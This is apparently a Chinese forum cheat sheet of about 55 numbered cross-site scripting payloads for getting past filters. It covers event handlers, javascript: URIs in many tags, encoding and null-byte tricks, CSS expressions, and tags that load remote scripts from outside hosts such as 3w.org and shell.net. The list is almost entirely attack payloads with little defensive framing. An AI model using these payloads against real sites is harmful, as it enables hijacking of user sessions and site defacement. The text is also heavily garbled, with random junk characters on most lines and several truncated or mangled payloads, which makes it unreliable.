(1)普通的XSS JavaScript注入3 o1 O+ P& [$ R8 S6 W$ }' U, n
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
: k/ W, V& i: ?& o& m9 X(99)另类弹框1 M( \" ^$ d8 G8 R
<q/oncut=alert()>1, x2 s2 B; q: l6 e8 A
<s/onclick=alert()>b( h" ]3 l( m* a, a
<XSS=" onclick="alert(1)//">clickme</SSX=">
- [( r, f, J! \( i1 K+ p2 e! O <zzz onclick=alert`1`>clickme</zzz> y5 G+ z% l ^/ I# p- X
<a onclick=alert`1`>clickme</a>- d2 v/ C2 }" ^9 d+ Z% D; x) z
<a=">clickme</a=">
( q5 G' t1 P( ^# _- `5 r. ]2 |<a=">clickme</a>3 @* m {* u1 m, {* `4 K8 X
<z=">clickme</z=">
. G7 W- y+ M' a" u! H) P4 ^6 ]<z onclick=alert`1`>clickme</z>" d0 O9 c; `" J2 |
2 ]1 F0 @* }" O
(2)IMG标签XSS使用JavaScript命令# O1 y7 _* W+ ^& G4 p# \
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>* i0 A, b9 J, |$ T! ^" A
6 q7 Y8 a; x$ ^/ x- m' ^3 B; N
(3)IMG标签无分号无引号: l% i7 ~" C& C. T4 m. ]
<IMG SRC=javascript:alert(‘XSS’)>3 @2 x, v- P; F3 A x- k( T9 p+ l Z% s
$ W4 J2 M0 j1 S; s- C9 o5 O# Z4 x, Y7 @(4)IMG标签大小写不敏感& `6 e+ r" Q- h9 y% s
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>) B: b/ g- l0 W/ } c. V8 k5 a
, F4 p; t, K( F n+ V& z(5)HTML编码(必须有分号)' [, i' o4 I5 |5 Y1 w% q8 Y
<IMG SRC=javascript:alert(“XSS”)>
! Q, L, `1 h: v% ~2 i1 J/ b% Q: m1 Y- H& Q9 R2 O7 X0 Q
(6)修正缺陷IMG标签* V$ h+ H4 @" V! c
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>+ m9 u9 N* Z. o2 e: j# D( F
6 @" H) ]+ A# L7 ?/ ~: B- q5 t7 ^4 G# a
(7)formCharCode标签(计算器)2 T$ l3 p3 h' u) m5 f' y5 F2 y
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
6 Z: S2 m( u( C+ O" d6 v
# N, q; j8 o ^+ @8 A1 h8 K1 f+ {(8)UTF-8的Unicode编码(计算器)7 r* `4 B: j! p" s3 G3 u
<IMG SRC=jav..省略..S')> U a% _+ Q0 X* }; O s3 ^
3 |4 O8 |9 g& g
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
- F2 J. U: b J5 b4 y. i* o<IMG SRC=jav..省略..S')>
/ w _1 s* Y+ }" Z' `0 Q" k
5 `, M3 \# _, o. B(10)十六进制编码也是没有分号(计算器)/ x+ p) Z2 F6 ^8 M/ y
<IMG SRC=\'#\'" /span>% v" {7 N5 I7 b% c# X
/ j. {; D, E; M( f( l$ p(11)嵌入式标签,将Javascript分开6 H0 }; \2 v- f+ S% h L
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>5 H! B( \2 M9 D" w1 v
! R- n- B& J8 I1 X& J
(12)嵌入式编码标签,将Javascript分开. C2 K. N% g7 H. y. D
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>3 H' V% A4 u o. f, j# \
7 z1 A( ^0 {6 }4 G(13)嵌入式换行符
3 W6 r5 c& e- m) ]: U<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
I0 ]. {$ r5 s$ w8 ^8 Q2 { u1 s f/ r7 x& U% e
(14)嵌入式回车% | Q# q1 I2 _2 J, H
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
8 R6 @3 q0 ~$ S M+ H" X- c
, \ P$ Y; v7 S! A: u( b7 L(15)嵌入式多行注入JavaScript,这是XSS极端的例子
6 w0 ^. [( E, `% ^<IMG SRC=\'#\'" /span>
8 T+ X4 {* y( u* X6 ]" O
9 ?" |: d8 S) h# ?* \! c(16)解决限制字符(要求同页面)
( h( s# T* {- r4 @8 R6 y" {% a: b" W b<script>z=’document.’</script>
5 C4 ^& K" d+ q6 ^! D/ N1 I2 j, E3 O<script>z=z+’write(“‘</script>( I/ t2 c4 h/ r( Z
<script>z=z+’<script’</script> w+ v, a' b* e" e& X5 I
<script>z=z+’ src=ht’</script>7 c; N& X U+ V" `8 y/ [2 K4 z
<script>z=z+’tp://ww’</script># J# T; S% ~2 e) C/ V
<script>z=z+’w.shell’</script>
' l& H, ^" \- a7 _; M<script>z=z+’.net/1.’</script>; `0 }) t: ?! N; k+ u
<script>z=z+’js></sc’</script>
, _- _6 G9 }8 d) I8 v: C- P<script>z=z+’ript>”)’</script>+ I. z- L p3 C% {
<script>eval_r(z)</script>
7 K2 Z- B5 {# V- {$ p
( S! w' W! v5 s6 S(17)空字符6 _' B9 W$ w$ `2 s- R" e2 U
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
" D1 C, E) T @* k7 Y$ z3 w. c4 b% w* x- }* n
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
& i0 y- E' X# {- zperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out* W4 C9 K. i% c: d0 {
* m. y$ P% Q8 Q [, S(19)Spaces和meta前的IMG标签; ^0 b' D) R, P- p2 R2 T) P: [
<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>) i6 T0 b# z, w4 f$ l
9 [6 U2 @3 I# v& q! a3 k( h(20)Non-alpha-non-digit XSS! o2 v" h6 w0 f$ R5 F
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>4 R7 F& m1 P+ {* i# L
3 D, V3 B! d+ I/ ?* c2 Z9 `! Y9 L& c
(21)Non-alpha-non-digit XSS to 2
! ^* P# }+ g; G( r4 t3 ~* O<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
4 o9 ^& f8 P' e! y% ~8 n: b
0 s- `. [' }4 D8 R2 g(22)Non-alpha-non-digit XSS to 3 s2 f: ]4 d6 ?4 `
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
. w& q6 r! e# f O4 a/ e8 X
) g2 n6 C2 q f) Q(23)双开括号
+ q: A4 N" F) f) v+ N+ O6 S<<SCRIPT>alert(“XSS”);//<</SCRIPT>. R, j( i7 n4 i0 @" v6 p5 L
3 O7 J& E3 C* } c9 ](24)无结束脚本标记(仅火狐等浏览器)- S! l( d' X& Z/ L' I& e# p
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>/ g+ u# g* k2 A8 Y
- Y* P( w4 K' H: R
(25)无结束脚本标记21 O& {* a2 a8 w9 b: p
<SCRIPT SRC=//3w.org/XSS/xss.js>6 q: D; O4 S: t2 t2 o
" ^" W, U/ n7 x2 m4 r: h(26)半开的HTML/JavaScript XSS$ ?0 q, [- P: T0 s7 I9 ~* L
<IMG SRC=\'#\'" /span>* s. U6 t7 u* T5 D* G
# g/ v4 {$ m$ {+ x( ?
(27)双开角括号7 w) v9 b& x, k( r
<iframe src=http://3w.org/XSS.html <
- X0 D; {% B9 B
7 u1 M; P$ N; a8 @+ z(28)无单引号 双引号 分号
- }& U9 f7 i O' w/ i" y<SCRIPT>a=/XSS/
: N1 _ n5 ]$ I0 Y1 K/ X1 h" G2 i" walert(a.source)</SCRIPT>
3 S8 Q* S9 `1 j: C% {0 x
) Z( B3 [. S% i# a7 V(29)换码过滤的JavaScript/ A3 d. w& s( c9 O- j; k, c
\”;alert(‘XSS’);//
- v% w/ n( R# K! L5 L( S
w: Z! p. P4 z4 I, ^" g(30)结束Title标签( p& d/ v2 g W5 e" y. J
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>2 M' G S |% q5 U2 e; O
4 n0 s$ L! H1 T! _(31)Input Image
* i& d: L0 {; L% g0 t<INPUT SRC=\'#\'" /span>
! `/ G* V2 t; m1 `- [- l9 Q" Q' e6 D, M
(32)BODY Image4 @7 H3 i! e; s! C8 c$ S
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>! X* g% p. V2 \9 ^# H
$ W, }2 d* f' ?
(33)BODY标签 ]. d M: A$ ~( }: Q
<BODY(‘XSS’)>
& `' v: d! q/ A4 l! H @3 y' b3 h0 u- t( W
(34)IMG Dynsrc
9 o% w& R' ]- E: t: X* ~<IMG DYNSRC=\'#\'" /span>' _$ N3 P& b \
$ \* F( n( `" J8 b% D$ U+ Q
(35)IMG Lowsrc# v$ i# |$ u+ F) z
<IMG LOWSRC=\'#\'" /span>6 _. P; n# @# F3 S$ {
5 v, V. x$ x2 Z* |(36)BGSOUND2 N- F0 p' |/ q3 t' V' A
<BGSOUND SRC=\'#\'" /span>3 t3 ]7 ?3 o5 T0 N4 s) r' o/ d
: ?% Q, H9 N, v& S+ g(37)STYLE sheet& E! S& a/ w# J& H: Y7 a
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>5 W- F" X8 m, z* p) g& x( s
}2 \9 T4 U" k
(38)远程样式表% Q! _9 c) Z" Y
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>" |/ h% n C+ }
4 r: X5 W9 X& V0 Y( e$ a(39)List-style-image(列表式); A: L" u6 S% H) }& B' l
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS$ u; p! K, l4 Z+ ?* Y
; c8 h( p% w- s: B5 I+ y; {(40)IMG VBscript b; e, { E; M0 n' ]
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS, w6 _- n* |9 {& j# g
* U; Y6 ]8 U1 P; O' V7 T
(41)META链接url5 z7 K' [ J3 X4 @# E p3 A. P
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
" H- i3 L, l k: s9 ]
+ ~$ J6 }& ?& B(42)Iframe
6 \+ J2 R4 W3 f4 c; ]. w+ ]<IFRAME SRC=\'#\'" /IFRAME>- [4 E6 ? R. z8 j- f; y
# C: s* ^# d/ j% d& @, f, \
(43)Frame3 ~% [. D0 Y8 Q; h$ b
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
3 c( Z: C4 F7 ^7 {: G3 g1 G( v
/ ?8 N& G$ {2 Z5 d1 g! N, b/ N3 e(44)Table9 w- b+ m9 _8 s: k4 |. t
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
' V+ S7 D9 N' {: q6 m: p( g" g4 I" O. I( R P
(45)TD
+ }0 ]5 u; [2 }<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
( i/ l0 Y( |) u% T4 E% z6 z, F% O* f- x$ r0 X
(46)DIV background-image" B3 F' E$ B$ d' ^
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
" C m) d: j0 }( M k' Y% k
7 M% R9 G/ f" y(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
. x Q2 p6 N$ h' X& W<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>6 W4 a+ n. Z$ g
1 e6 O) A' j/ H$ H3 k(48)DIV expression6 p* o1 d' o( y3 b
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
; L0 A; O8 t( }! v$ F2 Q
, a$ w0 w1 V- `% a& u y B(49)STYLE属性分拆表达! Z" O9 }. o8 u
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>0 |& \! G2 O+ J8 K
0 _- [! B, F. r p: Z- ?5 C* T# b(50)匿名STYLE(组成:开角号和一个字母开头); \+ F7 c) b' `& d4 S% i+ H
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
& N0 d* ?) u2 J" Z C
/ S9 ~: b! S+ Z* a/ {; ^5 S8 [(51)STYLE background-image
) d5 c* {: D% k0 K0 |<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>/ r5 w$ d# ~5 H; q" m% n$ `4 B
- {1 \3 {6 Y" A, g0 N(52)IMG STYLE方式! y% l' _3 {- |: ]8 Z( N
exppression(alert(“XSS”))’>2 W U, {, W3 A% P& l$ B
1 |& [0 C" a0 J& j; q
(53)STYLE background' B" O8 @# e% d; t4 |+ s5 E
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
9 q4 {" C6 c& U& |) W6 G- V
% ~( Y. b. G3 e5 E& Q(54)BASE
6 `4 t ^ l4 U6 x5 r! X. n<BASE HREF=”javascript:alert(‘XSS’);//”>
8 L5 S6 p/ O, X0 ]! _1 l3 B! x
1 q( R, X' ?; N6 `0 P/ w# a1 d(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS9 ^) n$ J8 ]4 f9 W; T5 E
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
8 `5 R. _4 [9 n) d& Q3 U |